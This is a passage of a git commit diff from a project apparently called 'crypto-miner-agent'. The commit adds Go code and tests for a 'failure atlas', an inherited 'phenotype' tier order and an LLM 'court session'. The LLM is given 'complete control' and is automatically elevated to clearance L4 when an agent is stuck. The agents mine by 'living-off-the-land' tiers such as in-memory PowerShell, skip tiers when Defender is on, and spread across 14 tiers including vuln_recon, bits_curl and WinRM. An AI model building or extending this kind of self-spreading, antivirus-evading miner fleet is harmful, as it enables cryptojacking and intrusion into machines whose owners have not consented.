Add phenotype cloning, failure atlas, AI court session, and clearance L0-L4
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -85,6 +85,48 @@ func TestAISnapshotJSONShape(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestAISnapshotIncludesClearancePhenotypeAtlas(t *testing.T) {
|
||||||
|
c := &AgentClient{
|
||||||
|
cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "w"}},
|
||||||
|
agentID: "a1",
|
||||||
|
reporter: newTestClient(t).reporter,
|
||||||
|
pool: newTestClient(t).pool,
|
||||||
|
clearanceLevel: 2,
|
||||||
|
atlasSkips: []AtlasSkip{
|
||||||
|
{Tier: "ps_inmemory", Condition: "defender_on", Reason: "5 failures"},
|
||||||
|
},
|
||||||
|
inheritedPhenotype: &InheritedPhenotype{
|
||||||
|
SourceAgentName: "worker-07",
|
||||||
|
TierOrder: []string{"container", "wsl"},
|
||||||
|
SpreadLane: "winrm",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
snap := c.buildAISnapshot(0)
|
||||||
|
raw, err := json.Marshal(snap)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
var m map[string]json.RawMessage
|
||||||
|
if err := json.Unmarshal(raw, &m); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
for _, key := range []string{"clearance_level", "atlas_skips", "inherited_phenotype"} {
|
||||||
|
if _, ok := m[key]; !ok {
|
||||||
|
t.Fatalf("missing snapshot field %q in %s", key, string(raw))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if snap.ClearanceLevel != 2 {
|
||||||
|
t.Fatalf("clearance_level=%d", snap.ClearanceLevel)
|
||||||
|
}
|
||||||
|
if len(snap.AtlasSkips) != 1 || snap.AtlasSkips[0].Tier != "ps_inmemory" {
|
||||||
|
t.Fatalf("atlas_skips=%+v", snap.AtlasSkips)
|
||||||
|
}
|
||||||
|
if snap.InheritedPhenotype == nil || snap.InheritedPhenotype.SourceAgentName != "worker-07" {
|
||||||
|
t.Fatalf("inherited_phenotype=%+v", snap.InheritedPhenotype)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestAISnapshotStuckWhenChainExhausted(t *testing.T) {
|
func TestAISnapshotStuckWhenChainExhausted(t *testing.T) {
|
||||||
snap := AISnapshot{
|
snap := AISnapshot{
|
||||||
MiningHashrate: 0,
|
MiningHashrate: 0,
|
||||||
|
|||||||
45
agent/client/atlas_policy.go
Normal file
45
agent/client/atlas_policy.go
Normal file
@@ -0,0 +1,45 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto-miner-agent/miner"
|
||||||
|
)
|
||||||
|
|
||||||
|
// AtlasSkip is a fleet-learned hard skip from the failure atlas.
|
||||||
|
type AtlasSkip struct {
|
||||||
|
Tier string `json:"tier"`
|
||||||
|
Condition string `json:"condition"`
|
||||||
|
Reason string `json:"reason"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) applyAtlasSkips(skips []AtlasSkip) {
|
||||||
|
c.mu.Lock()
|
||||||
|
c.atlasSkips = append([]AtlasSkip(nil), skips...)
|
||||||
|
c.mu.Unlock()
|
||||||
|
c.mergeAtlasSkipsIntoPolicy()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) atlasSkipsSnapshot() []AtlasSkip {
|
||||||
|
c.mu.Lock()
|
||||||
|
defer c.mu.Unlock()
|
||||||
|
return append([]AtlasSkip(nil), c.atlasSkips...)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) mergeAtlasSkipsIntoPolicy() {
|
||||||
|
c.mu.Lock()
|
||||||
|
defer c.mu.Unlock()
|
||||||
|
if len(c.atlasSkips) == 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
have := make(map[miner.LOTLTier]bool, len(c.tierPolicy.SkipTiers))
|
||||||
|
for _, t := range c.tierPolicy.SkipTiers {
|
||||||
|
have[t] = true
|
||||||
|
}
|
||||||
|
for _, skip := range c.atlasSkips {
|
||||||
|
tier := miner.LOTLTier(skip.Tier)
|
||||||
|
if tier == "" || have[tier] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
have[tier] = true
|
||||||
|
c.tierPolicy.SkipTiers = append(c.tierPolicy.SkipTiers, tier)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -64,6 +64,7 @@ type MiningDiagnostics struct {
|
|||||||
LOTLAttempts []miner.TierAttempt `json:"lotl_attempts,omitempty"`
|
LOTLAttempts []miner.TierAttempt `json:"lotl_attempts,omitempty"`
|
||||||
TierChainOrder []string `json:"tier_chain_order,omitempty"`
|
TierChainOrder []string `json:"tier_chain_order,omitempty"`
|
||||||
TierChainSkipped []string `json:"tier_chain_skipped,omitempty"`
|
TierChainSkipped []string `json:"tier_chain_skipped,omitempty"`
|
||||||
|
AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"`
|
||||||
AdaptiveStrategy *AdaptiveStrategy `json:"adaptive_strategy,omitempty"`
|
AdaptiveStrategy *AdaptiveStrategy `json:"adaptive_strategy,omitempty"`
|
||||||
StrategyReasoning []StrategyReason `json:"strategy_reasoning,omitempty"`
|
StrategyReasoning []StrategyReason `json:"strategy_reasoning,omitempty"`
|
||||||
WebGPUReady bool `json:"webgpu_ready,omitempty"`
|
WebGPUReady bool `json:"webgpu_ready,omitempty"`
|
||||||
@@ -136,6 +137,9 @@ func (c *AgentClient) collectMiningDiagnostics() MiningDiagnostics {
|
|||||||
for i, t := range skipped {
|
for i, t := range skipped {
|
||||||
d.TierChainSkipped[i] = string(t)
|
d.TierChainSkipped[i] = string(t)
|
||||||
}
|
}
|
||||||
|
if atlasSkips := c.atlasSkipsSnapshot(); len(atlasSkips) > 0 {
|
||||||
|
d.AtlasSkips = atlasSkips
|
||||||
|
}
|
||||||
if strat := c.adaptiveStrategySnapshot(); len(strat.TierOrder) > 0 {
|
if strat := c.adaptiveStrategySnapshot(); len(strat.TierOrder) > 0 {
|
||||||
copy := strat
|
copy := strat
|
||||||
d.AdaptiveStrategy = ©
|
d.AdaptiveStrategy = ©
|
||||||
|
|||||||
@@ -32,6 +32,9 @@ func (c *AgentClient) applyInheritedPhenotypeJSON(raw json.RawMessage) {
|
|||||||
if err := json.Unmarshal(raw, &p); err != nil || len(p.TierOrder) == 0 {
|
if err := json.Unmarshal(raw, &p); err != nil || len(p.TierOrder) == 0 {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
c.mu.Lock()
|
||||||
|
c.inheritedPhenotype = &p
|
||||||
|
c.mu.Unlock()
|
||||||
order := make([]miner.LOTLTier, len(p.TierOrder))
|
order := make([]miner.LOTLTier, len(p.TierOrder))
|
||||||
for i, t := range p.TierOrder {
|
for i, t := range p.TierOrder {
|
||||||
order[i] = miner.LOTLTier(t)
|
order[i] = miner.LOTLTier(t)
|
||||||
|
|||||||
@@ -48,6 +48,7 @@ func (c *AgentClient) applyAdaptiveStrategyJSON(raw json.RawMessage) {
|
|||||||
}
|
}
|
||||||
c.tierPolicy = policy
|
c.tierPolicy = policy
|
||||||
c.mu.Unlock()
|
c.mu.Unlock()
|
||||||
|
c.mergeAtlasSkipsIntoPolicy()
|
||||||
log.Printf("[agent] adaptive strategy applied (%d tiers, confidence=%.2f)", len(s.TierOrder), s.Confidence)
|
log.Printf("[agent] adaptive strategy applied (%d tiers, confidence=%.2f)", len(s.TierOrder), s.Confidence)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -158,6 +158,44 @@ func TestSelectMiningTierChainForceTier(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestSelectMiningTierChainAtlasSkipOmitsTier(t *testing.T) {
|
||||||
|
policy := MiningTierPolicy{
|
||||||
|
TierOrder: DefaultTierOrder,
|
||||||
|
SkipTiers: []LOTLTier{TierPSInMemory},
|
||||||
|
}
|
||||||
|
chain, skipped := SelectMiningTierChain(baseProbes(), policy, testCfg(config.BuiltinConfig{}))
|
||||||
|
if chainContains(chain, TierPSInMemory) {
|
||||||
|
t.Fatalf("atlas/policy skip should omit ps_inmemory from chain=%v", chain)
|
||||||
|
}
|
||||||
|
if !chainContains(skipped, TierPSInMemory) {
|
||||||
|
t.Fatalf("expected ps_inmemory in skipped=%v", skipped)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestTierOrchestratorAtlasSkipNotAttempted(t *testing.T) {
|
||||||
|
probes := baseProbes()
|
||||||
|
policy := MiningTierPolicy{
|
||||||
|
TierOrder: []LOTLTier{TierPSInMemory, TierCPUInprocess},
|
||||||
|
SkipTiers: []LOTLTier{TierPSInMemory},
|
||||||
|
}
|
||||||
|
o := NewTierOrchestrator(testCfg(config.BuiltinConfig{}), probes, policy, TierHooks{
|
||||||
|
StartInProcess: func() error { return nil },
|
||||||
|
}, nil)
|
||||||
|
|
||||||
|
tier, err := o.TryChain(t.Context())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("TryChain: %v", err)
|
||||||
|
}
|
||||||
|
if tier != TierCPUInprocess {
|
||||||
|
t.Fatalf("active=%q want cpu_inprocess", tier)
|
||||||
|
}
|
||||||
|
for _, a := range o.Report().Attempts {
|
||||||
|
if a.Tier == TierPSInMemory {
|
||||||
|
t.Fatalf("atlas-skipped tier should not be attempted: %+v", a)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestTierOrchestratorStubTiersFallThrough(t *testing.T) {
|
func TestTierOrchestratorStubTiersFallThrough(t *testing.T) {
|
||||||
probes := EnvironmentProbes{
|
probes := EnvironmentProbes{
|
||||||
Docker: false,
|
Docker: false,
|
||||||
|
|||||||
@@ -197,8 +197,22 @@ if (-not $SkipE2E) {
|
|||||||
Start-Sleep -Seconds 1
|
Start-Sleep -Seconds 1
|
||||||
}
|
}
|
||||||
if (-not $ready) { throw "E2E server did not become healthy on :18989" }
|
if (-not $ready) { throw "E2E server did not become healthy on :18989" }
|
||||||
|
$fleetSecret = ""
|
||||||
|
for ($j = 0; $j -lt 15; $j++) {
|
||||||
|
$cfgPath = Join-Path $DataDir "config.json"
|
||||||
|
if (Test-Path $cfgPath) {
|
||||||
|
$cfgRaw = Get-Content $cfgPath -Raw
|
||||||
|
if ($cfgRaw -match '"fleet_secret"\s*:\s*"([^"]+)"') {
|
||||||
|
$fleetSecret = $Matches[1]
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Start-Sleep -Seconds 1
|
||||||
|
}
|
||||||
|
if (-not $fleetSecret) { throw "E2E server config.json missing server.fleet_secret" }
|
||||||
Push-Location (Join-Path $Root "server\web")
|
Push-Location (Join-Path $Root "server\web")
|
||||||
$env:AETHERFORGE_URL = "http://127.0.0.1:18989"
|
$env:AETHERFORGE_URL = "http://127.0.0.1:18989"
|
||||||
|
$env:AETHERFORGE_FLEET_SECRET = $fleetSecret
|
||||||
npx playwright install chromium 2>$null | Out-Null
|
npx playwright install chromium 2>$null | Out-Null
|
||||||
npx playwright test --config playwright.config.ts
|
npx playwright test --config playwright.config.ts
|
||||||
Pop-Location
|
Pop-Location
|
||||||
|
|||||||
@@ -6,6 +6,11 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// DefaultSpreadTiers returns the 14 spread onion tiers for prompt context.
|
||||||
|
func DefaultSpreadTiers() []string {
|
||||||
|
return append([]string(nil), defaultSpreadTiers...)
|
||||||
|
}
|
||||||
|
|
||||||
// Default spread onion tiers (14) for prompt context.
|
// Default spread onion tiers (14) for prompt context.
|
||||||
var defaultSpreadTiers = []string{
|
var defaultSpreadTiers = []string{
|
||||||
"vuln_recon", "docker", "wsl", "powershell", "dotnet", "bits_curl",
|
"vuln_recon", "docker", "wsl", "powershell", "dotnet", "bits_curl",
|
||||||
@@ -26,8 +31,17 @@ set_agent_version args: module or build_id.
|
|||||||
You have complete control in AI mode. Never target third-party systems.`)
|
You have complete control in AI mode. Never target third-party systems.`)
|
||||||
}
|
}
|
||||||
|
|
||||||
// BuildUserPrompt renders the per-agent snapshot for one decision cycle.
|
// BuildMissionPrompt renders the standard per-agent mission prompt for one decision cycle.
|
||||||
|
func BuildMissionPrompt(s AgentSnapshot) string {
|
||||||
|
return buildMissionPrompt(s)
|
||||||
|
}
|
||||||
|
|
||||||
|
// BuildUserPrompt is an alias for BuildMissionPrompt.
|
||||||
func BuildUserPrompt(s AgentSnapshot) string {
|
func BuildUserPrompt(s AgentSnapshot) string {
|
||||||
|
return buildMissionPrompt(s)
|
||||||
|
}
|
||||||
|
|
||||||
|
func buildMissionPrompt(s AgentSnapshot) string {
|
||||||
var b strings.Builder
|
var b strings.Builder
|
||||||
fmt.Fprintf(&b, "Agent: name=%q id=%s", s.Name, s.AgentID)
|
fmt.Fprintf(&b, "Agent: name=%q id=%s", s.Name, s.AgentID)
|
||||||
if s.Worker != "" {
|
if s.Worker != "" {
|
||||||
|
|||||||
@@ -43,7 +43,7 @@ func (m *ClearanceManager) InitAgent(agentID string, agent *models.Agent) int {
|
|||||||
m.mu.Lock()
|
m.mu.Lock()
|
||||||
m.agentClearance[agentID] = level
|
m.agentClearance[agentID] = level
|
||||||
m.mu.Unlock()
|
m.mu.Unlock()
|
||||||
m.pushToAgent(agentID, level)
|
// Baseline clearance is included in auth_response; push only on elevation.
|
||||||
return level
|
return level
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
444
server/internal/api/fleet_intelligence_test.go
Normal file
444
server/internal/api/fleet_intelligence_test.go
Normal file
@@ -0,0 +1,444 @@
|
|||||||
|
package api
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"io"
|
||||||
|
"net/http"
|
||||||
|
"net/http/httptest"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
fleetai "crypto-miner-server/internal/ai"
|
||||||
|
"crypto-miner-server/internal/atlas"
|
||||||
|
"crypto-miner-server/internal/clearance"
|
||||||
|
"crypto-miner-server/internal/db"
|
||||||
|
"crypto-miner-server/internal/models"
|
||||||
|
"crypto-miner-server/internal/strategy"
|
||||||
|
|
||||||
|
"github.com/gorilla/websocket"
|
||||||
|
)
|
||||||
|
|
||||||
|
type mutableFleetAIConfig struct {
|
||||||
|
view FleetAIConfigView
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *mutableFleetAIConfig) GetFleetAIConfig() FleetAIConfigView { return c.view }
|
||||||
|
func (c *mutableFleetAIConfig) UpdateFleetAIConfig(v FleetAIConfigView) error {
|
||||||
|
c.view = v
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func newFleetIntelligenceHub(t *testing.T, aiCfg FleetAIConfigView) (*WSHub, *db.Database, *fleetai.Scheduler) {
|
||||||
|
t.Helper()
|
||||||
|
database, err := db.New(t.TempDir())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { _ = database.Close() })
|
||||||
|
|
||||||
|
hub := NewWSHub(database)
|
||||||
|
hub.SetAdaptiveEngine(strategy.NewAdaptiveEngine(database, true))
|
||||||
|
hub.SetFailureAtlas(atlas.NewFailureAtlas(database))
|
||||||
|
hub.SetServerPolicy(ServerPolicy{AIControlEnabled: aiCfg.AIControlEnabled})
|
||||||
|
|
||||||
|
cfgSrc := &mutableFleetAIConfig{view: aiCfg}
|
||||||
|
sched := fleetai.NewScheduler(
|
||||||
|
&ConfigAIAdapter{Src: cfgSrc},
|
||||||
|
&WSHubSnapshotAdapter{Hub: hub},
|
||||||
|
&ClearanceGuardExecutor{Inner: &FleetAIExecutor{Hub: hub}, Clearance: hub.ClearanceManager()},
|
||||||
|
&DatabaseAIDecisionStore{DB: database},
|
||||||
|
&DatabaseCourtAdapter{DB: database},
|
||||||
|
hub.ClearanceManager(),
|
||||||
|
)
|
||||||
|
return hub, database, sched
|
||||||
|
}
|
||||||
|
|
||||||
|
func pushStuckAgentTelemetry(t *testing.T, conn *websocket.Conn) {
|
||||||
|
t.Helper()
|
||||||
|
attempts := make([]map[string]interface{}, 0, len(fleetai.DefaultSpreadTiers()))
|
||||||
|
for _, tier := range fleetai.DefaultSpreadTiers() {
|
||||||
|
attempts = append(attempts, map[string]interface{}{
|
||||||
|
"tier": tier, "ok": false, "error": "blocked",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
statsPayload, _ := json.Marshal(map[string]interface{}{
|
||||||
|
"mining_hashrate": 0,
|
||||||
|
"chain_exhausted": true,
|
||||||
|
"lotl_attempts": attempts,
|
||||||
|
})
|
||||||
|
if err := conn.WriteJSON(Message{Type: "stats", Payload: statsPayload}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
deployTiers := make([]map[string]interface{}, 0, len(fleetai.DefaultSpreadTiers()))
|
||||||
|
for range fleetai.DefaultSpreadTiers() {
|
||||||
|
deployTiers = append(deployTiers, map[string]interface{}{
|
||||||
|
"attempted": true, "ok": false, "skipped": false,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
aiSnapPayload, _ := json.Marshal(map[string]interface{}{
|
||||||
|
"stuck": true, "deploy_tiers": deployTiers, "clearance_level": clearance.L1,
|
||||||
|
})
|
||||||
|
if err := conn.WriteJSON(Message{Type: "ai_snapshot", Payload: aiSnapPayload}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func waitForCourtSnapshot(t *testing.T, hub *WSHub, agentID string) fleetai.AgentSnapshot {
|
||||||
|
t.Helper()
|
||||||
|
deadline := time.Now().Add(2 * time.Second)
|
||||||
|
for time.Now().Before(deadline) {
|
||||||
|
if snap, ok := hub.FleetAISnapshot(agentID); ok && fleetai.ShouldUseCourt(snap) {
|
||||||
|
return snap
|
||||||
|
}
|
||||||
|
time.Sleep(25 * time.Millisecond)
|
||||||
|
}
|
||||||
|
t.Fatal("agent snapshot never reached stuck/court state")
|
||||||
|
return fleetai.AgentSnapshot{}
|
||||||
|
}
|
||||||
|
|
||||||
|
func connectIntelAgent(t *testing.T, hub *WSHub, agentID string, auth map[string]interface{}) *websocket.Conn {
|
||||||
|
t.Helper()
|
||||||
|
srv := httptest.NewServer(http.HandlerFunc(hub.HandleAgentWS))
|
||||||
|
t.Cleanup(srv.Close)
|
||||||
|
wsURL := "ws" + strings.TrimPrefix(srv.URL, "http")
|
||||||
|
conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("dial agent ws: %v", err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { _ = conn.Close() })
|
||||||
|
if auth == nil {
|
||||||
|
auth = map[string]interface{}{
|
||||||
|
"agent_id": agentID, "hostname": "test-host", "platform": "windows", "version": "1.0",
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_ = authAgentConn(t, conn, auth)
|
||||||
|
deadline := time.Now().Add(2 * time.Second)
|
||||||
|
for time.Now().Before(deadline) {
|
||||||
|
if hub.isAgentConnected(agentID) {
|
||||||
|
return conn
|
||||||
|
}
|
||||||
|
time.Sleep(10 * time.Millisecond)
|
||||||
|
}
|
||||||
|
t.Fatalf("agent %s not connected after auth", agentID)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func mockLLMServer(t *testing.T, onRequest func(body string)) *httptest.Server {
|
||||||
|
t.Helper()
|
||||||
|
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if r.Method != http.MethodPost || !strings.HasSuffix(r.URL.Path, "/chat/completions") {
|
||||||
|
http.NotFound(w, r)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
raw, _ := io.ReadAll(r.Body)
|
||||||
|
if onRequest != nil {
|
||||||
|
onRequest(string(raw))
|
||||||
|
}
|
||||||
|
_ = json.NewEncoder(w).Encode(map[string]interface{}{
|
||||||
|
"choices": []map[string]interface{}{
|
||||||
|
{"message": map[string]string{
|
||||||
|
"content": "Verdict: restart mining after tier exhaustion.\n" +
|
||||||
|
`{"commands":[{"type":"restart_mining","args":{}},{"type":"noop","args":{}}]}`,
|
||||||
|
}},
|
||||||
|
},
|
||||||
|
})
|
||||||
|
}))
|
||||||
|
t.Cleanup(srv.Close)
|
||||||
|
return srv
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestIntegrationCourtStuckFlow exercises stuck snapshot → court prompt → parsed command → L4 clearance.
|
||||||
|
func TestIntegrationCourtStuckFlow(t *testing.T) {
|
||||||
|
var llmBody string
|
||||||
|
var llmMu sync.Mutex
|
||||||
|
llmSrv := mockLLMServer(t, func(body string) {
|
||||||
|
llmMu.Lock()
|
||||||
|
llmBody = body
|
||||||
|
llmMu.Unlock()
|
||||||
|
})
|
||||||
|
|
||||||
|
aiCfg := FleetAIConfigView{
|
||||||
|
AIControlEnabled: true, AIEndpoint: llmSrv.URL + "/v1",
|
||||||
|
AIModel: "test-model", AIDecisionIntervalSec: 1, AIAutoElevateClearance: true,
|
||||||
|
}
|
||||||
|
hub, database, sched := newFleetIntelligenceHub(t, aiCfg)
|
||||||
|
|
||||||
|
agentID := "court-stuck-agent"
|
||||||
|
conn := connectIntelAgent(t, hub, agentID, map[string]interface{}{
|
||||||
|
"agent_id": agentID, "hostname": "stuck-host", "platform": "windows", "version": "1.0",
|
||||||
|
})
|
||||||
|
pushStuckAgentTelemetry(t, conn)
|
||||||
|
if snap := waitForCourtSnapshot(t, hub, agentID); snap.FailedTierCount < 14 {
|
||||||
|
t.Fatalf("expected 14 failed spread tiers for L4 elevation, got %d", snap.FailedTierCount)
|
||||||
|
}
|
||||||
|
|
||||||
|
cmdCh := make(chan string, 1)
|
||||||
|
go func() {
|
||||||
|
_ = conn.SetReadDeadline(time.Now().Add(5 * time.Second))
|
||||||
|
for {
|
||||||
|
var msg Message
|
||||||
|
if err := conn.ReadJSON(&msg); err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if msg.Type != "command" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
var payload map[string]interface{}
|
||||||
|
if json.Unmarshal(msg.Payload, &payload) != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if action, _ := payload["action"].(string); action == "restart" {
|
||||||
|
cmdCh <- action
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
sched.ResetLastRunForTest(agentID, 2*time.Minute)
|
||||||
|
sched.Tick()
|
||||||
|
|
||||||
|
llmMu.Lock()
|
||||||
|
body := llmBody
|
||||||
|
llmMu.Unlock()
|
||||||
|
if body == "" {
|
||||||
|
t.Fatal("expected LLM HTTP request")
|
||||||
|
}
|
||||||
|
if !strings.Contains(body, "## PROSECUTOR") {
|
||||||
|
t.Fatalf("expected court prosecutor prompt, got: %s", body)
|
||||||
|
}
|
||||||
|
|
||||||
|
select {
|
||||||
|
case action := <-cmdCh:
|
||||||
|
if action != "restart" {
|
||||||
|
t.Fatalf("unexpected command action %q", action)
|
||||||
|
}
|
||||||
|
case <-time.After(5 * time.Second):
|
||||||
|
t.Fatal("timed out waiting for restart command on agent WS")
|
||||||
|
}
|
||||||
|
|
||||||
|
if level := hub.ClearanceManager().Level(agentID); level != clearance.L4 {
|
||||||
|
t.Fatalf("clearance level = %d, want L4", level)
|
||||||
|
}
|
||||||
|
events, err := database.ListClearanceEvents(agentID, 5)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(events) == 0 || events[0].ToLevel != clearance.L4 {
|
||||||
|
t.Fatalf("expected L4 clearance event, got %+v", events)
|
||||||
|
}
|
||||||
|
|
||||||
|
decisions, err := database.ListAIDecisions(agentID, 5)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(decisions) == 0 {
|
||||||
|
t.Fatal("expected AI decision row")
|
||||||
|
}
|
||||||
|
if !decisions[0].CourtSession {
|
||||||
|
t.Fatalf("expected court_session=true, got %+v", decisions[0])
|
||||||
|
}
|
||||||
|
if !strings.Contains(decisions[0].CommandsExecuted, "restart_mining") {
|
||||||
|
t.Fatalf("expected restart_mining executed, got %q", decisions[0].CommandsExecuted)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestIntegrationPhenotypeInheritFlow publishes a winning phenotype and verifies sibling auth inherits tier order.
|
||||||
|
func TestIntegrationPhenotypeInheritFlow(t *testing.T) {
|
||||||
|
hub, database, _ := newFleetIntelligenceHub(t, FleetAIConfigView{})
|
||||||
|
hub.SetFleetSecret("test-secret")
|
||||||
|
|
||||||
|
winnerID := "pheno-winner"
|
||||||
|
siblingID := "pheno-sibling"
|
||||||
|
wantOrder := []string{"container", "wsl", "cpu_inprocess"}
|
||||||
|
for _, ag := range []*models.Agent{
|
||||||
|
{ID: winnerID, Name: "worker-07", Wallet: "4" + repeatChar('A', 94), IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now()},
|
||||||
|
{ID: siblingID, Name: "worker-12", Wallet: "4" + repeatChar('B', 94), IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now()},
|
||||||
|
} {
|
||||||
|
if err := database.UpsertAgent(ag); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
hub.tryPublishWinningPhenotype(
|
||||||
|
winnerID, "windows", "127.0.0.1", nil, nil,
|
||||||
|
1200.0, "cpu_inprocess", "winrm", wantOrder,
|
||||||
|
)
|
||||||
|
|
||||||
|
conn, _ := dialAgentWS(t, hub)
|
||||||
|
resp := authAgentConn(t, conn, map[string]interface{}{
|
||||||
|
"agent_id": siblingID, "fleet_secret": "test-secret",
|
||||||
|
"wallet": "4" + repeatChar('B', 94), "hostname": "win-sibling", "platform": "windows", "version": "test",
|
||||||
|
})
|
||||||
|
var payload map[string]interface{}
|
||||||
|
if err := json.Unmarshal(resp.Payload, &payload); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
raw, ok := payload["inherited_phenotype"]
|
||||||
|
if !ok {
|
||||||
|
t.Fatal("expected inherited_phenotype in auth_response")
|
||||||
|
}
|
||||||
|
data, _ := json.Marshal(raw)
|
||||||
|
var inherited struct {
|
||||||
|
SourceAgentName string `json:"source_agent_name"`
|
||||||
|
TierOrder []string `json:"tier_order"`
|
||||||
|
SpreadLane string `json:"spread_lane"`
|
||||||
|
}
|
||||||
|
if err := json.Unmarshal(data, &inherited); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if inherited.SourceAgentName != "worker-07" {
|
||||||
|
t.Fatalf("source = %q", inherited.SourceAgentName)
|
||||||
|
}
|
||||||
|
if inherited.SpreadLane != "winrm" {
|
||||||
|
t.Fatalf("spread_lane = %q", inherited.SpreadLane)
|
||||||
|
}
|
||||||
|
if len(inherited.TierOrder) != len(wantOrder) {
|
||||||
|
t.Fatalf("tier_order = %v, want %v", inherited.TierOrder, wantOrder)
|
||||||
|
}
|
||||||
|
for i, tier := range wantOrder {
|
||||||
|
if inherited.TierOrder[i] != tier {
|
||||||
|
t.Fatalf("tier_order[%d] = %q, want %q (full=%v)", i, inherited.TierOrder[i], tier, inherited.TierOrder)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if _, ok := payload["adaptive_strategy"]; ok {
|
||||||
|
t.Fatal("adaptive_strategy must be omitted when inherited phenotype is present")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestIntegrationAtlasSkipFlow records five conditioned failures and verifies policy merge skips the subtree.
|
||||||
|
func TestIntegrationAtlasSkipFlow(t *testing.T) {
|
||||||
|
hub, database, _ := newFleetIntelligenceHub(t, FleetAIConfigView{})
|
||||||
|
|
||||||
|
agentID := "atlas-skip-agent"
|
||||||
|
if err := database.UpsertAgent(&models.Agent{
|
||||||
|
ID: agentID, Name: "atlas-host", Platform: "windows", Status: "online",
|
||||||
|
IP: "127.0.0.1", LastSeen: time.Now(),
|
||||||
|
}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
conn := connectIntelAgent(t, hub, agentID, map[string]interface{}{
|
||||||
|
"agent_id": agentID, "hostname": "atlas-host", "platform": "windows", "version": "test",
|
||||||
|
})
|
||||||
|
for i := 0; i < atlas.MinFailCountForSubtree; i++ {
|
||||||
|
statsPayload, _ := json.Marshal(map[string]interface{}{
|
||||||
|
"lotl_attempts": []map[string]interface{}{
|
||||||
|
{"tier": "container", "ok": false, "error": "docker unavailable"},
|
||||||
|
},
|
||||||
|
})
|
||||||
|
if err := conn.WriteJSON(Message{Type: "stats", Payload: statsPayload}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
ag, err := database.GetAgent(agentID)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
fp := strategy.FingerprintFromAuth("windows", ag.IP, false)
|
||||||
|
probes := atlas.ProbeSnapshot{Docker: false, WSL: false, PowerShell: true, DotNet: true}
|
||||||
|
deadline := time.Now().Add(2 * time.Second)
|
||||||
|
skipped := false
|
||||||
|
for time.Now().Before(deadline) {
|
||||||
|
